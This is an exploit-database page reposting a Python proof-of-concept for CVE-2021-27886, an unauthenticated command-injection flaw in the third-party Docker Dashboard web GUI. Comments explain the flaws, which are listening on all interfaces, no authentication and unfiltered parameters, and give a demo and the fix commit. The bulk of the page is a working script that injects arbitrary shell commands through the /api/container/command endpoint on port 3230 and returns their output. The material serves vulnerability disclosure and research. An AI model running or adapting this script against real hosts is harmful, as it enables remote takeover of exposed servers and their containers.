Advertisement






Docker Dashboard Remote Command Execution

CVE Category Price Severity
CVE-2021-27886 CWE-78 $10,000 Critical
Author Risk Exploitation Type Date
Security Researcher High Remote 2021-07-07
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.08691 0.72007

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070044

Below is a copy:

Docker Dashboard Remote Command Execution
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# dockdash.py
#
# Docker Dashboard Remote Command Execution Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# July 2021
#
# "A simple web based GUI for managing Docker containers and images"
#
# Note: this app is NOT part of the official docker product, nor related to the
# Docker Dashboard UI in Docker Desktop. They are different projects and maintainers.
#
# More info: https://dockerdashboard.github.io
#
# -------
# Details
# -------
#
# The web GUI runs on port 3230. There are two main issues that enable the RCE...
#
# 1) Although when starting the server it says go to http://localhost:3230, it's
# actually listening on the network interface by default. There is no auth
# so anyone with access can start exercising functionality of the app.
#
# 2) Normally these controllers are used to start, stop or create new containers.
# But no validation of parameters or filtering based on acceptable commands sent
# sent to docker on the backend enables clean, vanilla command injection as the
# running user. Many of the APIs are vulnerable, with the most notables ones
# being /api/container/command and /api/image/command.
#
# ----
# Demo
# ----
#
# > ./dockdash.py 10.1.1.102 "uname -a;pwd"
# Linux ubuntu 5.4.0-48-generic #51-Ubuntu x86_64 GNU/Linux
# /opt/docker-web-gui/backend
#
# CVE-2021-27886
#
# Fix
# - commit 79cdc41
#

import sys
import argparse
import requests

DEFAULT_PORT = 3230
SIGNATURE = ('X-Powered-By', 'Express')

class DockDash(object):
def __init__(self, args):
self.target = args.target
self.cmd = args.cmd

def run(self):
target = "http://" + self.target + ':' + str(DEFAULT_PORT)

session = requests.Session()

try:
resp = session.head(target + "/")
except Exception as error:
print("Error: %s" % error)
return -1

if(SIGNATURE not in resp.headers.items()):
print("%s doesn't look like a dashboard server..." % target)
return -1

commands = self.cmd.split(';')

#
# "out here trying to get a mf'in scholarship"
#
for command in commands:
try:
resp = session.get(target + \
"/api/container/command?container=&command=;" + command)
#"/api/image/command?image=&command=;" + command)
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code == 200):
response = resp.text.strip('"').replace('\\n', '\n')
print("%s" % response)
else:
print("something went wrong, server returned %d" % resp.status_code)
return -1

return 0

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("target",
type=str,
help="DD host")

parser.add_argument("cmd",
type=str,
help="command to execute")

args = parser.parse_args()

return args

def main():
args = arg_parse()

dd = DockDash(args)

result = dd.run()

if(result > 0):
sys.exit(-1)

if(__name__ == '__main__'):
main()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum